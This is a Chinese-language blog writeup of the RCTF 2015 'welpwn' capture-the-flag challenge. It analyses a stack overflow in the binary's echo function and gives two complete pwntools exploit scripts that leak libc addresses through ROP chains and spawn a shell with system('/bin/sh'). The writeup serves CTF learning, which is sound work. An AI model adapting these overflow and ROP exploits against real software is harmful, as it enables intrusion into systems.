RCTF - Exploitation 200 welpwn - writeup

题目来源

RCTF 2015 welpwn
http://oj.xctf.org.cn/files/welpwn_932a4428ea8d4581431502ab7e66ea4b

题目分析

先获取程序的基本信息:
info

然后用ida静态分析程序代码,main函数如下:
main

主函数中read()函数读取了1024个字节的数据,随后调用echo函数:
echo

可以看到echo函数栈桢的大小是20h

echo函数中存在一个循环赋值,循环次数是read函数读的数据的长度,如下图:
vuln

由于echo函数的栈桢大小(20h)远小于read函数可以读取的数据长度(400h),在进行循环赋值的时候,echo函数保存在栈中的返回地址会被覆盖。

下图是输入为"A"*12 + "B"*12 + "C"*4时,程序执行到循环赋值时栈的情况:
overflow

高亮的部分是echo函数的返回地址,它即将被覆盖。
over

解题思路

由于程序设置了栈不可执行,可以构造ROP链,泄露libc中的函数

  1. 泄露libc,获取system,gets等函数地址
  2. 构造gets(bss);'/bin/sh'写入bss
  3. 构造'system("/bin/sh")'得到shell

解题过程

使用Linux_x64中通用的gadgets构造ROP链
gadgets

首先收集一些需要用到的信息,包括bss段的地址、main函数地址、程序中已有函数的地址、gadgets地址……

使用ROPgadgets寻找gadgets(用于构造ROP链):
gad

main函数地址(用作返回地址):
main

bss段开始地址(用于存储字符串’/bin/sh’):
bss

gets(plt)函数地址(用作泄露内存):
gets

构造ROP链,泄露内存:

rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)

payload = "A" * 24 + p64(ppppr) + rop

利用pwnlibDynELF模块泄露libcsystemputs地址:

def leak(addr):
    rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
    payload = "A" * 24 + p64(ppppr) + rop
    p.sendline(payload)
    p.recv(27)
    tmp = p.recv()
    data = tmp.split("\nWelcome")[0]
    if len(data):
        return data
    else:
        return '\x00'

d = DynELF(leak, elf=ELF('welpwn'))

system = d.lookup('system', 'libc')
gets = d.lookup('gets', 'libc')

构造ROP链将'/bin/sh'写入bss段,并执行system("/bin/sh"):

rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)

payload = "A"*24 + p64(ppppr) + rop

解题脚本

这里有两个脚本,第一个是我自己写的,第二个是参考fuchuangbob的脚本。自己写的时候没有想到可以利用pop rdi; ret这个gadgets,写的略显复杂,但是构造ROP链的部分写的比较详细,不熟悉ROP链构造的同学可以看下exp1exp2比较高级,代码也很简练,我从中也学到了不少:D

exp1.py

#!/usr/bin/python 
# only use general gadgets
from pwn import *

p = process('welpwn')
context(arch='amd64', os='linux')

# load program
elf = ELF('welpwn')

# infomation
read_got = elf.symbols['got.read']
log.info("read_got = " + hex(read_got))

write_got = elf.symbols['got.write']
log.info("write_got = " + hex(write_got))

main = elf.symbols['main']
log.info("main = " + hex(main))

# overflow point
buflen = 24

# gadgets
mmmcall = 0x400880
ppppppr = 0x40089a
ppppr = 0x40089c

# junk code
padding = 0xdeadbeef

# need leak libc
# function 1 get system addr
# write(1, address, 8)
flag = 0
def leak(address):
    global flag
    payload = ""
    payload += "Q" * buflen
    payload += p64(ppppr)       
    payload += p64(ppppppr)
    rbx = 0
    rbp = 1
    r12 = write_got
    r13 = 8
    r14 = address
    r15 = 1
    ret = mmmcall
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
    ret = main
    payload += p64(padding) * 7 + p64(ret)

    p.recvuntil('RCTF\n')
    p.sendline(payload)

    if flag:
        p.recv(0x1b)
    data = p.recv(8)
    log.info("recv: " + str(data))
    flag += 1
    return data

d = DynELF(leak, elf=ELF('welpwn'))

system = d.lookup('system', 'libc')
log.info("system addr = " + hex(system))

#system = 0x7ffff7a60e10
bss = 0x601300
payload = ""
payload += "P" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = read_got
r13 = 17
r14 = bss
r15 = 0
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)

p.recvuntil("RCTF\n")
p.sendline(payload)
sleep(1)
p.sendline("/bin/sh\0"+ p64(system))

# # function check bss 
# # write(1, bss, 16)
check = ""
check += "C" * buflen
check += p64(ppppr)
check += p64(ppppppr)
rbx = 0
rbp = 1
r12 = write_got
r13 = 16
r14 = bss
r15 = 1
ret = mmmcall
check += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
check += p64(padding) * 7 + p64(ret)

p.recvuntil("RCTF\n")
p.sendline(check)
sleep(1)
p.recv(0x1b)
log.info("recv:" + p.recv(16).encode('hex'))

# function 3 get shell
# system(bss)
payload = ""
payload += "R" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = bss+0x8
r13 = bss
r14 = bss
r15 = bss
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)

p.recvuntil("RCTF\n")
p.sendline(payload)

sleep(0.5)
p.recv()
p.interactive()

exp2.py

#!/usr/bin/python 
from pwn import *
p = process('welpwn')
#context.log_level = 'debug'
ppppr = 0x40089c
poprdi = 0x4008a3
main = 0x4007cd
puts_plt = 0x4005a0
bss = 0x601070

p.recvuntil("RCTF\n")
def leak(addr):
    rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
    payload = "A" * 24 + p64(ppppr) + rop
    p.sendline(payload)
    p.recv(27)
    tmp = p.recv()
    data = tmp.split("\nWelcome")[0]
    if len(data):
        return data
    else:
        return '\x00'

d = DynELF(leak, elf=ELF('welpwn'))
system = d.lookup('system', 'libc')
log.info("system addr = " + hex(system))
gets = d.lookup('gets', 'libc')
log.info("gets addr = " + hex(gets))

# gets(bss); system(bss);
rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)
payload = "A"*24 + p64(ppppr) + rop
p.sendline(payload)
sleep(1)
p.sendline('/bin/sh\0')

p.interactive()

源码下载

https://github.com/TaQini/pwn/tree/master/welpwn

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值